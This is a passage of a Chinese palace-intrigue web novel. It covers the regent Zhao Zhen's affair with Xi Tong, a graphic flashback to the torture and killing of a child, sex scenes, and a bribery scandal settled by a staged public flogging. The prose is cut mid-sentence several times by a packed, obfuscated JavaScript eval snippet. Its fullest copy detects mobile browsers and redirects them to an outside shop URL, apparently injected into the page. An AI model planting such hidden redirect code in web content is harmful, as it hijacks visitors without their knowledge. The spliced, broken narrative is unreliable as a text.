高澜叹了口气,他见过赵臻紧张这丫头的模样,如今他发觉,他也一样拿她没有办法。 高澜上前几步,与奚瞳只一尺距离。 “奚瞳,你真的要追随赵臻吗?他若失败,便是遗臭万年的贼子。” 奚瞳闻言,将头抬起来,目光清澈:“他是佞臣又如何?方才你也看到了,我已众人口中之妖女,身后之名再差,也不外如是了。天色不早,奚瞳告辞。” 高澜望着奚瞳的背影,喃喃道:“他为佞臣,你做妖女……” 他的心中涌现出不可抑制的想法,他想要她,他想要这个将赵臻迷得神魂颠倒的妖女,想要他臣服到他的帐下。 看来今天晚上,要去那一直不对付的大哥府上,叙一叙旧了。 …… 栖梧宫里,周怀淑小心翼翼,亲自给赵臻布置茶点。 “玄度,我知道你生我的气,我知道,我跟奚瞳之间……有些误会。我原以为她是陆家安排到你身边的眼线,才会对她……” 赵臻有些不耐烦:“此事已了,有罪责的奴才,业已伏诛,太后娘娘宣召臣来,若只是为了这桩事,那就没必要浪费时间了,臣告退。” “玄度!等一下!”见赵臻要走,周怀淑抓住他的袖子:“我还有别的事。” 赵臻看她一眼,周怀淑嗫嚅道:“韵仪……还在你府上吗?你对她……” 赵臻觉得周怀淑实在是无可救药,将她甩开,阔步往外走。 周怀淑哭着追上去,因步子急了,被裙裾绊倒,匍匐在赵臻身后,抱住了她的腿:“玄度,你别走!求你别走!我知道你一直怪我,怪我将赵吟交给高宇。可是我没有办法,高宇的那些手段你是知道的,如果不是赵吟承受,那就是我来承受。我承认我自私,可我只是想活下去,我没有办法啊玄度。” 赵臻没有回头,可他的表情已经因痛苦而狰狞,听到“赵吟”这个名字,他周身的肌肉,每一寸都在颤抖,如上万只虫蚁啃噬,密密麻麻,钻心疼痛。 十年前,赵家九族已灭,赵臻的母亲瞿梦芙和妹妹赵吟被擒入宫中,瞿梦芙用计短暂脱逃,将赵吟藏匿在已经是贵妃的周怀淑宫中。 周怀淑虽然背弃了同赵家的婚约,但毕竟是瞿梦芙看着长大的孩子,也是她在宫里唯一的指望,是赵吟唯一的活路。 托付好了女儿,瞿梦芙逃往别的宫殿,为自己寻觅藏身之处,可不久便被高宇发现,凌/辱至死。 周怀淑听闻了瞿梦芙的死状,害怕高宇发现,迁怒自己,很快便将八岁的赵吟交了出去。 赵臻回京时,赵吟还活着,在高宇的极乐殿里。 赵臻到达极乐殿时,高宇醉得不省人事,数以百计的阉人和女子胴体横陈,有活的,也有死的。 空气里弥漫着浓烈酒气和血腥味。 赵臻一步步走向高宇,他被一个阉人的腿绊了一下,一低头,发现了阉人不远处奄奄一息的赵吟。 她空洞地睁着一双眼睛,在看到赵臻的那一刻,一瞬的光彩回到了眼睛里。 赵臻看到自己妹妹的样子,只觉得脑子像是被雷轰了一般,他将那小小的身躯揽在自己怀里。赵臻浑身颤抖着,他看向自己怀里的小人儿,赵吟的肚子被剖开了一道口子,稚嫩的肠子一股股露在外面。 “哥哥,阿吟没有偷吃陛下的糖,可陛下……不相信,他用刀……好可怕,好可怕……” 赵臻的泪水汩汩流下:“阿吟不怕,不怕,哥哥在……” 赵吟的皮肤因为失血而惨白,她的最后一句话是:“哥哥,好疼,你……杀了我吧,求你,哥哥……杀了阿吟……” 赵吟只有八岁,可她在灭族的灾祸里理解了杀戮,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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奚瞳正在整理赵臻明天要看的公文,可是门被倏忽推开,冷风灌入,奚瞳一转头,一只大手便伸过来,越过她耳际,狠狠攥住了她的发髻,拽着她退回到墙上,她的后背因为撞击生出疼痛。 “赵臻你放开我!”奚瞳的泪被疼痛逼了出来。 “说!高澜同你说了什么?!你是不是早就认识他?!你是不是他的人?!是不是喜欢他!说!!!” 赵臻的神情太过凶狠,脸上的肌肉因为愤怒而痉挛,杀意横生,他此刻并未抓住奚瞳的命门,但奚瞳觉得,这样下去,她会死在赵臻手上。 不对……平日赵臻哪怕生气,也不会是这般模样。 奚瞳竭力让自己的声音软下来:“赵臻,你冷静一点。你怎么了?” 赵臻的神智因为奚瞳的温柔回炉一刹,可也只是一刹。 一刹过后,他松开了奚瞳,行迹疯迷地往厢房外头走,一边走一边喃喃:“剑阁……我要去剑阁。我要去剑阁……” 奚瞳意识到赵臻自毁的瘾又发作了,于是三步并作两步,赶在赵臻之前将门关死,她后背紧紧抵在门上:“不许去剑阁!” “让开!”赵臻额间青筋毕露,是在努力压抑自己濒临崩溃的情绪。 奚瞳从未见过他这幅样子,她是怕的。可她仍然强撑着,柔声道:“赵臻,不要去剑阁。如果你真的需要发泄,可以……对我。” 奚瞳所说的发泄,是指杀欲。 她曾三次杖责赵臻,她愿意偿还血肉与疼痛。 然则赵臻闻言,喉结滚了一滚,下一刻,他咬牙道:“是你自己选的!” 只一弹指,奚瞳的脖子落于赵臻的掌心,他野兽一般凶狠地吻上了她的双唇。 奚瞳的脑袋刹那空白,片刻,她认命一般闭上了眼睛。 50.第 50 章 奚瞳在赵臻的这个吻里愈发感到眩晕。 一开始赵臻是强势的,可不消多时,他便开始彻底耐住了性子。奚瞳不知道赵臻将自己当做什么,猎物、城池,还是别的什么。她只觉得她正在被他一点点勘透、一点点融化。 她仿佛身处一片浩瀚汪洋,赵臻是将她拽入海底的人,可她不得不伸手环住他的腰,紧紧地抱着他。 他的确是凶手,可他也是浮木,要她死,也救她活。 赵臻恋恋不舍停止了亲吻,他稍稍松开了她,鼻尖却仍旧顶着她的鼻尖缓慢厮磨,他的鼻息打在她脸上,漾出一片片的湿气,奚瞳觉得自己的身体蒸腾出热意,像是期待着什么,可这阵阵的湿气又让她想哭。 赵臻察觉到她的眼睛泫然欲泣,开口问道:“怕了?” 他的声音因为情/欲而沙哑,奚瞳没有否认:“嗯。有一点。” “可是太晚了,我已经没法放过你了……”赵臻一字字说道,带了哽咽:“我若放了你,谁还来救我……奚瞳,救救我……” 奚瞳没有说话,只掂了掂脚,重新吻了上去。 因为奚瞳这片刻的主动,赵臻觉得脑子里最后一道克制紧绷的弦铮然崩碎。 他拦腰将奚瞳抱起来,行至书房屏风后的短榻。他不再满足于她的唇舌,他吻她的额头、眼睛、雪腮,吻她的颈子、锁骨,他此刻少年人一般青涩,也少年人一般热烈,这种感觉,当真久违…… 赵臻知道自己在战栗,极致的幸福之前,人会不自觉地恐惧。可他甘之如饴,而且觉得神奇,奚瞳明明已经在她怀里了,可他还是发疯一般地渴求她,像是已经渴求了几百年。 他不想再嘴硬了,他想拥有她,从看到她的第一眼就想拥有她。 想到这里,赵臻终于挣脱了他恪守多年的律条,他彻底臣服于这个他一眼万年的女人。 赵臻竭力秉持着他的温柔,狭路相逢,热血生花,奚瞳渐渐觉得自己周身的热气更加弥漫起来,她仍在汪洋中,可她似乎找到了一叶扁舟,掌舵的是她眼里心里装着的男子,他正在将她引渡到另一重岸。 奚瞳随波逐流,她只知道她要紧紧地抱住赵臻,以防自己迷失津渡。 靠岸前,她的灵魂高歌着奔向月亮,她终于捂住脸哭了起来,因为快乐,也因为她从未感受过的与另一个人相互交融的爱意。 待一切尘埃落定,她出窍的灵魂重回肉身,才发现赵臻一直将她深深拥在怀里。 赵臻的眼睛戾气尽褪,只剩柔情。 奚瞳抽噎着睁开眼,发觉铺床的缎子已经不复如初,她又想哭了,脑子里全是“礼崩乐坏”、“成何体统”、“公主奚瞳和枢密使赵臻秽乱后宫罪不容诛!” 赵臻却伸手捧起她的脸,又在她樱唇上落下一个吻。 他似是有些抱歉:“我……在你之前,我没有过别人,哪里做得不好,我可以改……” 奚瞳瞪着他,真是岂有此理,这么大个人了他会不会说话,他还想有别人? 赵臻见奚瞳不说话,一时有些迷茫:“怎么了,我……” 奚瞳咬了咬下唇,带着不自觉的娇意质问道:“还去剑阁吗?” 赵臻愣了愣,脸上漾起一个只有在他少年时才有过的笑容:“不去了,我有你了。” …… 赵臻抱着奚瞳沐浴一番,因为肌肤相亲,奚瞳知道他没有尽兴,可她实在累了,好在赵臻也没有提什么过分的要求,只自己将新一轮的欲/念压了下去。 这一夜两人都睡得酣甜,奚瞳明明贪凉,可她却如此喜欢赵臻胸膛的温暖,她蜷缩在他怀里,一夜无梦。赵臻更是不必说,这些年他梦魇缠身,已经许久没有这样酣睡一场了。 次日是奚瞳先醒来,她用手肘支起脑袋,侧身看着赵臻的睡颜。看了一会儿,她便觉得世事真是无常。 五百年前,打死她都不会想到,她居然跟一个太监共赴巫山,而且,她竟然真的爱上了那个看似谄媚、邪佞、小心眼,但实际上很有本事、人也很好很好、却总是跟她作对的死太监。 太……监…… 奚瞳的眼睛忍不住瞟向赵臻被棉被盖住的劲腰翘臀大长腿…… 咳咳……该说不说,赵臻那时候鸡飞蛋打,确实可惜…… 奚瞳想到这里,脸上又浮上霞绯。 她目光还没收回来,大长腿的主人便吻住了她。 “在想什么?”赵臻初初醒来,还是一贯的霜寒面貌,但语调里分明是带着笑的。 “没……没想什么。” “撒谎。”赵臻拆穿奚瞳:“你在想我。” 奚瞳看向赵臻的眼睛:“那你想我吗?” 赵臻没有丝毫犹疑:“想。” 怎么能不想啊,她比他想象中还要柔软,还要温暖,他恨不得将她揉进自己的身体里,生生世世再不分离。 两人就这样痴痴望着彼此,直到被门外裴鸣的声音打断。 “少爷!林大人陆大人他们到了!” “嗯。” 赵臻应一声,他有些不舍地摸了摸奚瞳的脸,两人终究还是起来了。 赵臻和奚瞳到书房时,几人已经在饮茶相侯,林载抬眼看一眼赵臻,不禁纳闷:“你师父是不是新炼什么丹药给你吃了,今天气色这么好?” 赵臻勾一勾唇:“睡得好,爽利,舒服。” 众人微微后仰,今天赵臻这措辞,总觉得哪里透着怪异…… 奚瞳绝望地合上眼,你快闭嘴吧死太监! “今日来此所为何事?”赵臻适时说回了正事。 陆忧答:“今儿一早,越阳王去周家提亲了。” “提亲?” 奚瞳有些诧异,自打宫宴上越阳王让周正下了媚毒,二人便结了梁子,周正去登门道歉了两回,都被越阳王拒之门外,怎得突然又要结姻亲了? 奚瞳想起越阳王那张肥腻地几乎要流油的脸,忍不住皱眉:“越阳王都五十岁了,而且妻妾成群,他还不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“他同我没有情谊。”赵臻坦然:“但这世上,人与人为伍,不只是靠情谊的。他对我的情谊或许不牢靠,但他对周家的恨意却很牢靠。高澜也好,高江也罢,手上没有周潮想要的东西,他们拉拢不到他。” “那我们……” “兵来将挡,水来土掩。” …… 议事过后,赵臻同陆忧一道去督查京城附近的赈灾事宜,奚瞳则回了厢房。 昨天晚上体力消耗实在是大了一些,她又有些困倦,想再睡一觉。刚进院子,便见到周韵仪在和紫虚围炉煮茶。 奚瞳同她们打招呼,想蹭她们一口烤红薯。可从奚瞳踏进拱门,到奚瞳坐下来,周韵仪一直死死盯着她。 奚瞳让她盯得发毛,忍不住问:“我脸上有东西?你老看我做什么?” 谁知周韵仪抬起纤指,抵在奚瞳的前襟上:“你同他睡过了是不是?!” 奚瞳一把捂住她的嘴:“你喊什么?小声点……” 51.第 51 章 奚瞳、周韵仪和紫虚三个人并排躺在厢房的床榻上,一样的枕着胳膊,一样的翘着二郎腿。 紫虚隔着奚瞳,有些不满地对周韵仪说:“周小姐你好歹是世家大族出来的姑娘,饱读诗书,知礼明理,怎得张口就说人家姑娘和男人困觉呢?” 周韵仪不以为然,微一歪头看向奚瞳:“你没困吗?” 奚瞳抿了抿嘴:“困了。” “这不就得了,做人嘛,敢困敢当。再说了跟赵臻困觉你又不吃亏。我想困人家,人家还不跟我困呢。”周韵仪说得很是慷慨,也很是遗憾:“那容貌……那身材……啧。” 紫虚来了兴致,她是童仙女,跟奚瞳一样,未经人事就位列仙班,甚至比奚瞳年纪还要小一些,成仙的时候,紫虚才十五岁。 奚瞳脸颊红了红,回想起昨天夜里的情形:“就是……你会觉得天地之间只有你们二人,而你的心里也再也容不下别人。那是一种……身心都很充盈的感觉,会由衷觉得,此生最幸福的时刻,也不外如是了。” 紫虚听着听着就皱了眉头,继而重新躺好:“抽象。费解。” 三个人不约而同地沉默片刻,而后周韵仪说道:“但是奚瞳,你有没有想过,你同他相爱,却不一定能相守。” 奚瞳还在回味昨日的余韵,心头温热得紧,而周韵仪的话就如同一桶冰水,直直泼下来,奚瞳瞬间觉得她从里到外都冷透了。 相爱易,相守难,她知道的。 她生于皇家,见证了父母姻缘的巨变,那对曾经恩爱无比、相互扶持的夫妻,后来在深宫漫长的岁月中,只剩下对彼此的不满、猜忌,甚至是恨意。 不知从什么时候开始,父皇不再踏足母后的宫殿,母后提起父皇时,眼中流泻出来的情绪也只有怨怼了。 母后在十数年间,同父皇的妃子们争斗,斗得如火如荼、不死不休。奚瞳看着都觉得累,她劝过母亲许多次,让她收手,深宫里哪有女人是容易的,何故相互为难,平白造下杀孽。 母后却冷笑:“一开始我同她们争的是宠爱,彼此是情敌。但如今君恩不再,我同她们争的就是权利,彼此是政敌。后宫之人,唯掌权者能活,男人有男人的沙场,女子也有女子的战局。奚瞳,为了家族,为了你哥哥,为了你,母后要活下去,要守着皇后的荣耀活下去。” 奚瞳不知道,数十年之后,她和赵臻会不会步入如父皇母后那般的结局,昔日恩爱,造就一双怨侣。 而且……她如今的出身不可能成为赵臻的皇后,更不能指望赵臻对她忠贞不渝。她并不认可男人三妻四妾就是理所应当,但她没有办法,因为对于皇权来说,爱情也是一种工具。她还没有天真到,认为自己可以改变男人,让赵臻不爱江山爱美人。 况且赵臻说过许多次,不会给她名分,一场床笫之欢或许会让他有所让步,给她一个妃妾的位子。 可是奚瞳,这是你要的吗?一辈子做赵臻的妾室,同越来越多的女人分享他…… 奚瞳茫然地思索着,她隐隐觉得,她的爱情才刚刚开始,就已然注定向死了。 …… 赵臻忙完,回到太傅府。 奚瞳为他备好了饭菜,便早早睡了。 赵臻并不知道,这其实是奚瞳从小到大疗愈自己的方式,有了什么烦心事,便睡过去,一觉醒来,或许该发生的已经发生了,该忘却的也都忘却了。 赵臻去床榻边看了她一眼,平日睡相豪放的丫头,今天难得雅致,她侧着身子,将自己一整个塞进被子里,只露一个脑袋出来,软软的一团,赵臻忍不住俯身,吻了吻她的额角,继而便回到书房,处理未完的公文。 烛光灯影下,赵臻手捧奏书,眼神却逐渐放空。 他脑子里全是奚瞳样子,尤其是昨夜。她白皙的肌肤、柔软的腰肢、因为情动而微蹙的蛾眉、因为快乐而发出的吟哦…… 食髓知味,赵臻小腹的血流又蠢蠢欲动起来,他觉得不够,奚瞳给他的远远不够。 可那丫头竟然如此不解风情,就这么抛下自己,早早睡了。 赵臻只能兀自忍耐,他还没有禽兽到要把一个睡得正香的小丫头叫醒迫她承欢的地步。 赵臻认了命,奚瞳素来放肆,可他偏偏就吃她这一套,一物降一物。 于是他开始盘算,他这一生死活是离不开奚瞳了,可奚瞳的出身,若做皇后,必定会招致天下人非议。 若是找个靠得住的世家,将奚瞳收作义女,便能好一些。 可是找谁呢? 林家?林家嫁女不成,林泉又是那样一把老犟骨头,肯定不会答应。 陆家?奚瞳曾经在陆家做过伎子,突然变作义女,还不知道要被怎么编排,况且陆家只有陆忧一个拎得清的。陆忧成事前,陆家实在算不得什么好门第。 赵臻踌躇良久,突然福至心灵。 他将手中的册子放下,陈纸提笔。 若是他老人家来做小丫头的义父,天下人必不会再说奚瞳什么闲话。 长信书就,飞鸽北行。 赵臻心满意足,吹熄了蜡烛。 他回到内室,躺到床上,从身后柔柔抱住奚瞳,喃喃耳语道:“奚瞳,我疼你了,你也要好好疼我。” 然则事与愿违,往后数日,奚瞳表面上看去同之前无甚变化,可赵臻总觉得奚瞳在躲她。 证据就是她每日都睡得很早,已经接连十几日,在他回府之前,她就已经睡了。 他问过裴鸣和紫虚,近来奚瞳是不是身子不爽。紫虚回答得干脆,说她白天跟周韵仪跳舞跳得可有劲儿了,一会儿大鹏展翅一会儿白虎掏心,不可能生病。 那么……就只有一种可能,奚瞳不愿意同他再行亲热。 思及此处,赵臻心中先是发沉,继而生出无限烦躁。 为什么?难道是他表现得不好?可她那天的反应他是能感觉到的,身体的本能做不了假,她最后……最后都哭着求饶了,她明明也很快乐,同他一样快乐。 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13671629|132677||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是为什么…… 次日奚瞳再醒来时,一双眼睛正深深凝望着她。 她揉了揉眼睛,努力清除神智之中残留的困意,刚要开口,对方微凉的双唇就含住了她的双唇。她有些抗拒,他穷追不舍,最终她只能拜服于他的执着,任他与自己唇齿厮磨、口舌缠绵。 奚瞳几乎要在这个吻里窒息,就在即将晕厥的时刻,赵臻及时松开了她,奚瞳如获新生,大口呼吸着新鲜空气,可只片刻,他又吻上来…… 吻到最后,两人都气喘吁吁,奚瞳四肢绵软地依偎在赵臻怀里,两人的胸腔共振一般地起伏着。 不一会儿,他的声音传到她的耳际:“奚瞳,你没有良心。” 奚瞳莫名其妙,抬头看赵臻,英俊的脸上带了罕见的委屈:“你夺了我的身子,却将我扔到一边,世上怎么会有你这么狠心的女人。” 奚瞳大受震撼:“赵臻,我还是低估了你脸皮厚的程度。” “我哪里说错了?你都躲了我多少天了?” “我……”奚瞳的气焰弱下来,眼神也躲闪:“我没有。” “撒谎!”赵臻不留情面:“为什么躲着我?我那天……令你不满意?” “没……没有。”奚瞳被这个问题问得面红耳赤。 “那是为什么?” “我……我真的没有躲着你,真的没有……” 奚瞳刚才有那么一瞬,很想对赵臻说:你能不能不要有别的女人,一生只爱我一个…… 可她还是放弃了,她不想听到那个她明明知道的答案,不想在此刻——她最爱他的时候,去面对他身体里那个为了权力、理想和复仇可以放弃一切的野心家。 赵臻没有放过她:“既然没有,那你证明给我看。” “啊……啊?这怎……怎么证明……”奚瞳有些懵,但她隐约对赵臻要说什么有些预感,于是说话也有些磕磕绊绊。 赵臻拉起她的手,将其慢慢引领到他身体最为炽热之地,他的声音变得低沉而沙哑:“爱我。要我。” “赵……赵臻……” 正当两人僵持之际,门外传来裴鸣的声音:“少爷,宫里来报,大朝晖殿群臣有本要奏,事关司隶校尉陆大人,须您尽快前往。” 赵臻的前额青筋毕露,咬紧的牙关尽显他的愤怒。 奚瞳却如蒙大赦,轻声劝道:“先忙正事,快去吧。” 赵臻身体僵硬着,他调息片刻后,从榻上跃起,愤愤道:“我早晚将他们都杀了!” 赵臻整理了一下仪容,将门打开,又摔门而去。 奚瞳在木门的响声里打了个激灵,忍不住斥他:“你轻一点!家里的门摔坏了还不是要你花银钱找人修?!” 赵臻已经走远,不会回答她,她当然知道。可她的心里,细细密密涌上甜意。 她双手捧上自己的脸颊,感受着那里因羞涩而生出的热度。 所以……至少在此刻,赵臻真的很爱她,就像她爱他一样,不是吗…… 52.第 52 章 赵臻一行人从宫里风风火火回到太傅府,奚瞳正和周韵仪吃着茶,隔着一进院子,她透过拱门远远瞧着,只见赵臻大氅生风,走路的气势里都透着“杀人”二字,宫里想必是出事了。 奚瞳起身要跟上去,周韵仪站起来:“我同你一起。” 奚瞳犹疑一会儿,最终点了头,跟周韵仪朝夕相处这些日子,奚瞳知道她做许多事也是身不由己,她本性不坏,又恣意洒脱,若非生在周家,未必不会有自己的一番天地。 前几日周韵仪还同她打趣:“我来这儿本是图赵臻的权色,没成想输给你这么个小丫头,一样都图不到。” 奚瞳刚想回刺她几句,周韵仪的面色忽得就凝重起来:“不过奚瞳,我爹不会放过我的,我的出路在哪啊……” 奚瞳这几日一直在想这桩事,若周韵仪是孤身一人倒还好,一副假死药,便能将她送出京城这个是非之地,天高海阔。可她偏偏还有个对周正一片痴心的母亲桑氏,为人儿女,没有抛下母亲的道理。 奚瞳和周韵仪走到书房,却见林载张逑苏木十三都在外头候着,书房则大门紧闭。 奚瞳上前几步,书房里头传出瓷器坠地的脆响声,随后便是赵臻的斥责:“陆忘名,我千里迢迢从虹州将你带到京师,你便只有这些本事吗?你若处理不好你的家事,我不介意帮你一把,但我若出手,你担得起吗?!” 奚瞳在外头听着,好生疑惑,她转头问林载:“出什么事了?陆忧犯错了?” 林载面色不善,将今日大朝晖殿上的事由说了出来。 年关刚过,世家与朝臣互相走动,难免送礼。 陆忧身为司隶校尉,监察各级官员,想要巴结他的人自然很多。可偏偏这个职位,最不能收受贿赂,稍有不慎就会授人以柄。 陆忧对此十分清楚,故而旁人邀他吃酒、给他红封,他皆做拒绝,可他身边偏偏有拎不清的人。 承桑绿绮被陆忧纳作妾室,陆忧无妻,绿绮又心高气傲,便当自己是正头娘子,摆起了校尉夫人的谱。陆忧如铜墙铁壁,别人便打上了这位“夫人”的主意,流水一样金银财宝通过绿绮之手进了陆府。 这些送礼的人中,有人是真心想结交陆忧,但也不乏有周党安插的探子,他们攒够了证据,今日便在大朝晖殿发作了,对陆忧群起而攻之。 奚瞳眉眼稍低,思忖一会儿:“这桩事未必不可高举轻放,受贿一事可大可小,历朝历代都不乏有重臣家人犯糊涂,收敛钱财的,若情节不重,也有罚钱不罚罪的。赵臻生这么大气就因为这?” 张逑此时气愤开口:“主公何等心胸,陆忘名若只是银钱上的罪责,他何至于此?” 张逑接下来的话才让奚瞳明白了此事的为难之处——收受贿赂的不只承桑绿绮,承桑绿绮也不只收受贿赂。 当时陆忧进京,其叔父陆珏也是跟了来的,堂兄陆憧因为伎子敬酒一事惹恼了赵臻,不得不在虹州蜗居了几月,但两月前也来了京城。 除却绿绮,陆珏和陆憧也没少伸手,而且他们自恃京中新贵,常常呼朋引伴,宴饮清谈,一边说陆家是赵臻的左膀右臂、必将成为京中最为尊贵的世家,一边承诺他人,待他日赵臻御极、陆家成事,必定提携各位友人等等,总之说了许多不该说的话。 更有甚者,今有奏书说道,绿绮身为陆忧妾室,与陆珏和陆憧也有些不清不楚,周旋于这叔侄三人之间,一女侍三夫。 奚瞳听到这里,眉头也皱起来。 受贿之罪,尚能周全,可是大逆、通/奸,便不能周全了。 身为司隶校尉,家中却出了这样的丑闻,赵臻即便想保陆忧,怕也不成了。 奚瞳走上前,敲了敲门,里头的动静停了一会儿,奚瞳便带着众人推门进去了。 陆忧满面赧然,对赵臻跪了下来:“主公,是卑职治家无能,卑职愿以死谢罪,不让……” 陆忧话还没说完,赵臻抓起桌上的砚台就砸到他脑袋上,鲜血从陆忧的额头流到鬓角,继而滴落在石板上。 赵臻一双鹰目冷得彻底:“想死?!把你这摊烂事收拾干净了再死!” 奚瞳在一旁看着,她知道赵臻说的是气话,陆忧在司隶校尉这位子上呆得不错,敢放手做事,也不怕得罪人。陆忧有这样的胆魄,一是因为他能力确实出众,二是因为他没有家人掣肘。 陆家门阀简单,陆忧同陆珏父子无甚感情,这曾是他在京师官场驰骋的优势,却也成为了如今陷他至泥沼的因由。 奚瞳将砚台捡起来,掏出帕子递给陆忧,让他将血迹擦一擦。 陆忧感激地看了奚瞳一眼,赵臻更是气不打一出来:“陆忘名你敢接她的帕子试试!” 陆忧顿了顿,谦卑地收回了目光。 奚瞳叹息,她知道赵臻不是真的想让陆忧以死谢罪,他只是被陆忧气急了;她也知道陆忧真的知道错了,相识这许久,她还是头一回听到陆忧叫赵臻“主公”。 奚瞳将砚台放回书案:“这桩事,陆大人想全身而退,几乎不可能了。陆珏、陆憧和绿绮皆要审讯问罪,陆忧,你也要受罚。现在当务之急,是要想一想如何保住你司隶校尉的位子。周党这次来势汹汹,为的就是将你从这位子上拽下来,哪怕不能换成他们的人,也不至于如你在职时那般处处被动。” 奚瞳语毕,众人皆有些默然。 赵臻冷哼:“昭阳王真是好手段,前脚让岳阳王府拉拢周潮,后脚就鼓动群臣参奏陆忧,远离中枢这些年,他也不是全无建树。” 苏木不解:“昭阳王?主公是说这些事皆和昭阳王有关?” 林载答道:“咱们和周党对峙多年,他们手上的部曲、豪杰、探子,路数都被咱们摸清楚了。主公和我也安插了人手,做了防备。可这次陆家的事,咱们事先一点警觉都没有,可见陆府里头,有些咱们没见过的新面孔。纵观京中形势,有动机、也有能力这般做的,只有昭阳王。” 林载这番话,让大家更加沉重起来。想保陆忧,的确很难,但舍弃陆忧,却更不可能。 周党那边十个朝臣的分量,都未必赶得上一个陆忧。 陆忧确实治家无能,高澜这一招,也确实厉害。 “咚咚。” 周韵仪在廊下敲了敲书房的门,方才她未跟着进来,她的身份也不适合参与太傅府议事。但赵臻生了大气,说话的声音难免大些,周韵仪在外头听到了一些。 “我能进来吗?”周韵仪嘴角勾着一缕善意的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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当日她初入赵府,众人视她为豺狼,唯有陆忧远远对她行礼。 女子嫁人,说到底,看的不是情谊,而是品性和良心。陆忧是君子,她知道的。 陆忧脸上却不见喜色,他似要说些什么,却被周韵仪抢白。 “陆大人,你是聪明人,这已然是当下最好的方法,我知你不愿娶我,我若有的选,又何尝愿意盲嫁于你。但犯了错,就要敢担当。一场姻缘而已,你还舍不得吗?” 陆忧看向周韵仪,良久,终是没再说什么。 奚瞳心里还有些别的思量,韵仪嫁给陆忧,的确能止损,但止损,不是无损。这次陆忧不脱一层皮,是逃不掉的。 “张大人,按照律法,若群臣参奏皆属实,陆大人及其家人应当如何判罚?” 张逑沉吟些许,道:“陆珏、陆憧流放,承桑绿绮沉塘,陆忧……没官。” 奚瞳道:“大逆、通/奸之罪不能认,但可以把贪污的罪定得重一些。” “何意?”张逑不解。 奚瞳没有着急回答,而是看向陆忧:“陆大人能否吃得皮肉之苦?” 53.第 53 章 大朝晖殿外的高台上,有四根盘龙柱高高耸立。 遥想当初建造这里的工匠,应当只是想用它们增加宫殿的气派、彰显皇家的威严,可自打赵臻控制了幼帝、成为了宫城实际上的主人,这处高台便成了大盈的行刑台,四根盘龙柱也成为了永恒的监刑官。 赵臻在这里杀了许多人,比如先帝崩逝时阻止幼帝登基的老臣们,再比如烹小鲜一案中被诛杀的严家九族。 铺地用的白石因为反复经历血水的浸染,已经泛出淡淡的粉色。盘踞在梁柱上的神龙,本应寓意着祥瑞,可见证过太多杀戮的它们,俯视高台的眼神仿佛也生出一丝晦暗和诡谲。 这次在高台上流血的,不是赵臻的敌手,而是他的心腹之臣——陆忧。 五十道鞭刑才到一半,陆忧的脊梁上已经没有好皮肉了。 “大逆、通/奸之罪不能认,但可以把受贿之罪定得重些,陆大人若想保住官位,只能用身体受刑来换,受刑越重,悠悠之口越好堵。” 这是那日奚瞳的建议,廷尉监张逑茅塞顿开,这样一来,既能转移视线,还能让别人觉得赵臻秉公执法,不包庇自己人。 “陆大人本不必受这样重的责罚,可太傅大人用人严苛,对其委任之重,责罚之深”,这种感觉一旦在群臣心中形成,便会减轻他们对陆忧的苛责,同时增加赵臻此人的政治魅力。 鞭刑五十是众人商定之后的结果,根据廷尉监之前在册的犯例,受鞭刑的犯人,若体格不怎么好,五十道鞭子就是生死之间一条线,这般量刑,足可见陆忧认罪的诚意,也足可见赵臻御下之严格。 陆忧提前吃了赵臻给他的保命丹药,可他怎么也不会想到,鞭刑这样疼,打到身上,皮肉就像爆开了一般,身上是炽烈的剧痛。 鞭刑到了最后,他面布冷汗,唇颊惨白,硬撑着最后一口气,道了最后一句“微臣知罪”,便彻底晕厥过去。 这出“苦肉计”演到这里,许多之前气愤难当的纯臣已经心有动摇。 陆府收受的贿赂已经全部退回各府,陆忧的妾室承桑绿绮终身幽禁在陆府偏院,陆珏和陆憧父子被贬黜回虹州,一生不得入京。陆忧更是活生生挨了这样一顿打,不卧床两三个月怕是好不了。 先前在赵周之争中犹豫不决的许多朝臣,此时纷纷在想,陆忧做这个司隶校尉固然严苛,但只要做事谨慎些,他便不会找他们麻烦。换了周党的人,难道会比陆忧更好吗?他日周党压过赵臻,他们的人犯了错,周正会如赵臻这般,惩戒犯错的下属吗? 大家似乎有了答案,所以当陆忧晕厥在地,周党借势大呼他德不配位,司隶校尉应当换人时,许多朝臣便出来为陆忧求情。 双方僵持不下,赵臻才开了口:“自先帝明文诏书许赵某辅政之权,周大人便心存疑虑,当中因由,赵某省得。昔日我父亲开罪先帝,被灭三族,周大人是出了力的,自然对我多有提防,怕我怀恨在心,公报私仇。但请周大人放心,赵某绝不会将私恨放于国事之前。如今天灾刚过,大盈国库不足,百废待兴,赵某愿与周大人同心戮力,襄助陛下,共振朝纲。陆忧如今尚未娶妻,周二姑娘云英未嫁,正值妙龄。赵某有意撮合他们二人,若周大人不弃,赵某便向陛下和太后请旨,可好?” 